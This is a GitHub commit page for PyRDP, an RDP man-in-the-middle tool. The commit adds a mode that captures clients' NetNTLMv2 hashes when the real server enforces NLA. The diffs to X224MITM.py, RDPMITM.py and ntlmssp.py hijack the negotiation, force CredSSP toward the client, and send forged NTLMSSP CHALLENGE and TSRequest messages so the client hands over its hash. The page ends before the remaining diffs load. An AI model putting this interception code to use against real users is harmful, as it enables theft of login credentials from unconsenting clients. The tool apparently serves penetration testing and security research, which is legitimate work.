Skip to content

Commit

Permalink
Capture the NetNTLM hash if server enforces NLA (#367)
Browse files Browse the repository at this point in the history
If we don't use the NLA redirection feature and the server doesn't support downgrade attacks then the best we can do is steal the hash. Some ASN.1 BER improvements were required as well.

Fixes #358

Co-authored-by: Olivier Bilodeau <obilodeau@gosecure.net>
  • Loading branch information
lubiedo and obilodeau committed Jan 13, 2022
1 parent f602830 commit d8408a8
Show file tree
Hide file tree
Showing 11 changed files with 281 additions and 34 deletions.
24 changes: 22 additions & 2 deletions pyrdp/core/ber.py
Original file line number Diff line number Diff line change
Expand Up @@ -140,7 +140,27 @@ def writeApplicationTag(tag: Tag, size: int) -> bytes:
return Uint8.pack((Class.BER_CLASS_APPL | PC.BER_CONSTRUCT) | Tag.BER_TAG_MASK) + Uint8.pack(tag) + writeLength(size)
else:
return Uint8.pack((Class.BER_CLASS_APPL | PC.BER_CONSTRUCT) | (Tag.BER_TAG_MASK & tag)) + writeLength(size)


def readContextualTag(s: BinaryIO, tag: Tag, isConstruct: bool) -> int:
"""
Unpack contextual tag and return the tag length.
:param s: stream
:param tag: BER tag
:param isConstruct: True if a construct is expected
"""
byte = Uint8.unpack(s.read(1))
if byte != ((Class.BER_CLASS_CTXT | berPC(isConstruct)) | (Tag.BER_TAG_MASK & tag)):
raise ValueError("Unexpected contextual tag")
return readLength(s)

def writeContextualTag(tag: Tag, size: int) -> bytes:
"""
Pack contextual tag.
:param tag: BER tag
:param size: the size of the contextual packet.
"""
return Uint8.pack((Class.BER_CLASS_CTXT | PC.BER_CONSTRUCT) | (Tag.BER_TAG_MASK & tag)) + writeLength(size)

def readBoolean(s: BinaryIO) -> bool:
"""
Unpack a BER boolean
Expand Down Expand Up @@ -231,4 +251,4 @@ def writeEnumeration(value: int) -> bytes:
"""
Pack a BER enumeration value
"""
return writeUniversalTag(Tag.BER_TAG_ENUMERATED, False) + writeLength(1) + Uint8.pack(value)
return writeUniversalTag(Tag.BER_TAG_ENUMERATED, False) + writeLength(1) + Uint8.pack(value)
2 changes: 1 addition & 1 deletion pyrdp/enum/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@
from pyrdp.enum.gcc import GCCPDUType
from pyrdp.enum.mcs import MCSChannelID, MCSChannelName, MCSPDUType, MCSResult
from pyrdp.enum.negotiation import NegotiationRequestFlags, NegotiationType
from pyrdp.enum.ntlmssp import NTLMSSPMessageType
from pyrdp.enum.ntlmssp import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion
from pyrdp.enum.player import MouseButton, PlayerPDUType
from pyrdp.enum.rdp import *
from pyrdp.enum.orders import DrawingOrderControlFlags
Expand Down
32 changes: 31 additions & 1 deletion pyrdp/enum/ntlmssp.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,38 @@

from enum import IntEnum


class NTLMSSPMessageType(IntEnum):
NEGOTIATE_MESSAGE = 1
CHALLENGE_MESSAGE = 2
AUTHENTICATE_MESSAGE = 3

class NTLMSSPChallengeType(IntEnum):
WORKSTATION_BUFFER_OFFSET = 0x38

# http://davenport.sourceforge.net/ntlm.html#theNtlmFlags
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832
# Flags: (
# NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_NEGOTIATE_SIGN | NTLMSSP_NEGOTIATE_NTLM |
# NTLMSSP_NEGOTIATE_ALWAYS_SIGN | NTLMSSP_TARGET_TYPE_SERVER | NTLMSSP_NEGOTIATE_LM_KEY |
# NTLMSSP_NEGOTIATE_TARGET_INFO | r | NTLMSSP_NEGOTIATE_128 |
# NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_56
# )
NEGOTIATE_FLAGS = 0xE28A8215

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID = 0x0002 # MsvAvNbDomainName
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID = 0x0001 # MsvAvNbComputerName
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID = 0x0004 # MsvAvDnsDomainName
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID = 0x0003 # MsvAvDnsComputerName
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID = 0x0005 # MsvAvDnsTreeName
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID = 0x0000 # MsvAvEOL


class NTLMSSPChallengeVersion(IntEnum):
CREDSSP_VERSION = 0x05

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b1a6ceb2-f8ad-462b-b5af-f18527c48175
NEG_PROD_MAJOR_VERSION_HIGH = 0x06
NEG_PROD_MINOR_VERSION_LOW = 0x02
NEG_PROD_VERSION_BUILT = 0x0ECE
NEG_NTLM_REVISION_CURRENT = 0x0F # NTLMSSP_REVISION_W2K3
9 changes: 7 additions & 2 deletions pyrdp/mitm/RDPMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -236,8 +236,13 @@ def doClientTls(self):
self.client.tcp.startTLS(contextForClient)
self.onTlsReady = None

# Add unknown packet handlers.
# Handle NLA connection for client/server
ntlmSSPState = NTLMSSPState()
if self.state.ntlmCapture:
# We are capturing the NLA NTLMv2 hash
self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"), ntlmCapture=True))
return

self.client.segmentation.addObserver(NLAHandler(self.server.tcp, ntlmSSPState, self.getLog("ntlmssp")))
self.server.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp")))

Expand Down Expand Up @@ -470,4 +475,4 @@ def addClientIpToLoggers(self, clientIp: str):
self.slowPath.log.extra['clientIp'] = self.state.clientIp

if self.certs:
self.certs.log.extra['clientIp'] = self.state.clientIp
self.certs.log.extra['clientIp'] = self.state.clientIp
31 changes: 23 additions & 8 deletions pyrdp/mitm/X224MITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
from logging import LoggerAdapter

from pyrdp.core import defer
from pyrdp.enum import NegotiationFailureCode, NegotiationType, NegotiationRequestFlags
from pyrdp.enum import NegotiationFailureCode, NegotiationType, NegotiationRequestFlags, NegotiationProtocols
from pyrdp.layer import X224Layer
from pyrdp.mitm.state import RDPMITMState
from pyrdp.parser import NegotiationRequestParser, NegotiationResponseParser
Expand Down Expand Up @@ -83,6 +83,11 @@ def onConnectionRequest(self, pdu: X224ConnectionRequestPDU):
# Tell the server we only support the allowed authentication methods.
chosenProtocols &= self.state.config.authMethods

if self.state.ntlmCapture:
# If we want to capture the NTLM hash, we need to put back CredSSP in here.
# If we don't do that we will not get to the state where we can clone the certificate if needed.
chosenProtocols = NegotiationProtocols.SSL | NegotiationProtocols.CRED_SSP

modifiedRequest = NegotiationRequestPDU(
self.originalNegotiationRequest.cookie,
self.originalNegotiationRequest.flags,
Expand All @@ -99,6 +104,7 @@ async def connectToServer(self, payload: bytes):
Awaits the coroutine that connects to the server.
:param payload: the connection request payload
"""

await self.connector()
self.server.sendConnectionRequest(payload = payload)

Expand All @@ -117,22 +123,31 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU):
parser = NegotiationResponseParser()
response = parser.parse(pdu.payload)
if isinstance(response, NegotiationFailurePDU):
if response.failureCode == NegotiationFailureCode.HYBRID_REQUIRED_BY_SERVER and self.state.canRedirect():
self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", {
"redirectionHost": self.state.config.redirectionHost,
"redirectionPort": self.state.config.redirectionPort
})
if response.failureCode == NegotiationFailureCode.HYBRID_REQUIRED_BY_SERVER:

# Disconnect from current server
self.disconnector()

# Use redirection host and replay sequence starting from the connection request
self.state.useRedirectionHost()
if self.state.canRedirect():
self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", {
"redirectionHost": self.state.config.redirectionHost,
"redirectionPort": self.state.config.redirectionPort
})

# Use redirection host and replay sequence starting from the connection request
self.state.useRedirectionHost()
else:
# If we are not configured to redirect then we should capture the NTLM hash
self.log.info("Server requires CredSSP/NLA and we are not configured to support it. Attempting to capture client's NTLM hashes.")
self.state.ntlmCapture = True

self.onConnectionRequest(self.originalConnectionRequest)
return
else:
self.log.info("The server failed the negotiation. Error: %(error)s", {"error": NegotiationFailureCode.getMessage(response.failureCode)})
payload = pdu.payload
elif self.state.ntlmCapture:
payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, NegotiationProtocols.CRED_SSP))
else:
payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, response.selectedProtocols))

Expand Down
3 changes: 3 additions & 0 deletions pyrdp/mitm/state.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,6 +87,9 @@ def __init__(self, config: MITMConfig, sessionID: str):
self.effectiveTargetPort = self.config.targetPort
"""Port for the effective host"""

self.ntlmCapture = False
"""Hijack connection from server and capture NTML hash"""

self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])

Expand Down
151 changes: 139 additions & 12 deletions pyrdp/parser/rdp/ntlmssp.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,12 @@
from io import BytesIO
from typing import Callable, Dict

from pyrdp.core import Uint16LE, Uint32LE
from pyrdp.core import ber, Uint8, Uint16LE, Uint32LE, Uint64LE
from pyrdp.exceptions import UnknownPDUTypeError, ParsingError
from pyrdp.parser.parser import Parser
from pyrdp.pdu import NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU, NTLMSSPNegotiatePDU, NTLMSSPPDU
from pyrdp.pdu import NTLMSSPChallengePayloadPDU, NTLMSSPTSRequestPDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU, \
NTLMSSPNegotiatePDU, NTLMSSPPDU
from pyrdp.enum import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion


class NTLMSSPParser(Parser):
Expand All @@ -34,11 +37,11 @@ def findMessage(self, data: bytes) -> int:
return data.find(b"NTLMSSP\x00")

def doParse(self, data: bytes) -> NTLMSSPPDU:
stream = BytesIO(data)
sigOffset = self.findMessage(data)
stream = BytesIO(data[sigOffset:])
signature = stream.read(8)
messageType = Uint32LE.unpack(stream)

return self.handlers[messageType](data, stream)
return self.handlers[messageType](stream.getvalue(), stream)

def parseField(self, data: bytes, fields: bytes) -> bytes:
length = Uint16LE.unpack(fields[0: 2])
Expand All @@ -53,15 +56,19 @@ def parseNTLMSSPNegotiate(self, data: bytes, stream: BytesIO) -> NTLMSSPNegotiat
return NTLMSSPNegotiatePDU()

def parseNTLMSSPChallenge(self, data: bytes, stream: BytesIO) -> NTLMSSPChallengePDU:
targetNameFields = stream.read(8)
negotiateFlags = stream.read(4)
workstationLen = Uint16LE.unpack(stream)
workstationMaxLen = Uint16LE.unpack(stream)
workstationBufferOffset = Uint32LE.unpack(stream)
negotiateFlags = Uint32LE.unpack(stream)
serverChallenge = stream.read(8)
reserved = stream.read(8)
targetInfoFields = stream.read(8)
version = stream.read(8)
reserved = Uint64LE.unpack(stream)
targetInfoLen = Uint16LE.unpack(stream)
targetInfoMaxLen = Uint16LE.unpack(stream)
targetInfoBufferOffset = Uint32LE.unpack(stream)
version = Uint32LE.unpack(stream)
reserved = stream.read(3)
revisionCurrent = Uint8.unpack(stream)

targetName = self.parseField(data, targetNameFields)
targetInfo = self.parseField(data, targetInfoFields)
return NTLMSSPChallengePDU(serverChallenge)

def parseNTLMSSPAuthenticate(self, data: bytes, stream: BytesIO) -> NTLMSSPAuthenticatePDU:
Expand All @@ -86,3 +93,123 @@ def parseNTLMSSPAuthenticate(self, data: bytes, stream: BytesIO) -> NTLMSSPAuthe
response = ntChallengeResponse[16 :]

return NTLMSSPAuthenticatePDU(user, domain, proof, response)

def parseNTLMSSPTSRequest(self, data: bytes, stream: BytesIO) -> NTLMSSPTSRequestPDU:
if not ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True):
raise UnknownPDUTypeError("Invalid BER tag (%d expected)" % ber.Tag.BER_TAG_SEQUENCE)

length = ber.readLength(stream)
if length > len(stream.getvalue()):
raise ParsingError("Invalid size for TSRequest (got %d, %d bytes left)" % (length, len(stream.getvalue())))

version = None
negoTokens = None

# [0] version
if not ber.readContextualTag(stream, 0, True):
return NTLMSSPTSRequestPDU(version, negoTokens, data)
version = ber.readInteger(stream)

# [1] negoTokens
if not ber.readContextualTag(stream, 1, True):
return NTLMSSPTSRequestPDU(version, negoTokens, data)
ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # SEQUENCE OF NegoDataItem
ber.readLength(stream)
ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # NegoDataItem
ber.readLength(stream)
ber.readContextualTag(stream, 0, True)

negoTokens = BytesIO(ber.readOctetString(stream)) # NegoData
return NTLMSSPTSRequestPDU(version, negoTokens)

def parseNTLMSSPChallengePayload(self, data: bytes, stream: BytesIO, workstationLen: int) -> NTLMSSPChallengePayloadPDU:
workstation = stream.read(workstationLen)
return NTLMSSPChallengePayloadPDU(workstation)

def writeNTLMSSPChallenge(self, workstation: str, serverChallenge: bytes) -> bytes:
stream = BytesIO()
substream = BytesIO()

workstation = workstation.encode('utf-16le')
nameLen = len(workstation)
pairsLen = self.writeNTLMSSPChallengePayload(substream, workstation)

"""
CHALLENGE_MESSAGE structure
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786
"""
substream.write(b'NTLMSSP\x00')
Uint32LE.pack(NTLMSSPMessageType.CHALLENGE_MESSAGE, substream)
Uint16LE.pack(nameLen, substream)
Uint16LE.pack(nameLen, substream)
Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET, substream)
Uint32LE.pack(NTLMSSPChallengeType.NEGOTIATE_FLAGS, substream)
substream.write(serverChallenge)
Uint64LE.pack(0, substream)
Uint16LE.pack(pairsLen, substream)
Uint16LE.pack(pairsLen, substream)
Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET + nameLen, substream)
Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MAJOR_VERSION_HIGH, substream)
Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MINOR_VERSION_LOW, substream)
Uint16LE.pack(NTLMSSPChallengeVersion.NEG_PROD_VERSION_BUILT, substream)
Uint8.pack(0, substream)
Uint8.pack(0, substream)
Uint8.pack(0, substream)
Uint8.pack(NTLMSSPChallengeVersion.NEG_NTLM_REVISION_CURRENT, substream)

self.writeNTLMSSPTSRequest(stream, NTLMSSPChallengeVersion.CREDSSP_VERSION, substream.getvalue())
return stream.getvalue()

def writeNTLMSSPTSRequest(self, stream: BytesIO, version: int, negoTokens: bytes):
"""
Write NTLMSSP TSRequest for NEGOTIATION/CHALLENGE/AUTHENTICATION messages
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/6aac4dea-08ef-47a6-8747-22ea7f6d8685
"""
negoLen = len(negoTokens)

stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True))
stream.write(ber.writeLength(negoLen + 25))
stream.write(ber.writeContextualTag(0, 3))
stream.write(ber.writeInteger(version)) # CredSSP version
stream.write(ber.writeContextualTag(1, negoLen + 16))
stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True))
stream.write(ber.writeLength(negoLen + 12))
stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True))
stream.write(ber.writeLength(negoLen + 8))
stream.write(ber.writeContextualTag(0, negoLen + 4))
stream.write(ber.writeOctetString(negoTokens))

def writeNTLMSSPChallengePayload(self, stream: BytesIO, workstation: str) -> int:
"""
Write CHALLENGE message payload and AV_PAIRS
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e
"""
length = len(workstation)

stream.seek(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET)
stream.write(workstation)

pairsLen = stream.tell()
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID, stream)
Uint16LE.pack(length, stream)
stream.write(workstation)
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID, stream)
Uint16LE.pack(length, stream)
stream.write(workstation)
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID, stream)
Uint16LE.pack(length, stream)
stream.write(workstation)
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID, stream)
Uint16LE.pack(length, stream)
stream.write(workstation)
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID, stream)
Uint16LE.pack(length, stream)
stream.write(workstation)
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID, stream)
Uint16LE.pack(0, stream)
pairsLen = stream.tell() - pairsLen
stream.seek(0)

return pairsLen

3 changes: 2 additions & 1 deletion pyrdp/pdu/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,8 @@
UnicodeKeyboardEvent, UnusedEvent
from pyrdp.pdu.rdp.licensing import LicenseBinaryBlob, LicenseErrorAlertPDU, LicensingPDU
from pyrdp.pdu.rdp.negotiation import NegotiationFailurePDU, NegotiationRequestPDU, NegotiationResponsePDU
from pyrdp.pdu.rdp.ntlmssp import NTLMSSPPDU, NTLMSSPNegotiatePDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU
from pyrdp.pdu.rdp.ntlmssp import NTLMSSPTSRequestPDU, NTLMSSPPDU, NTLMSSPNegotiatePDU, NTLMSSPChallengePDU, \
NTLMSSPAuthenticatePDU, NTLMSSPChallengePayloadPDU
from pyrdp.pdu.rdp.pointer import Point, PointerCacheEvent, PointerColorEvent, PointerEvent, PointerNewEvent, \
PointerPositionEvent, PointerSystemEvent
from pyrdp.pdu.rdp.security import SecurityExchangePDU, SecurityPDU
Expand Down
Loading

0 comments on commit d8408a8

Please sign in to comment.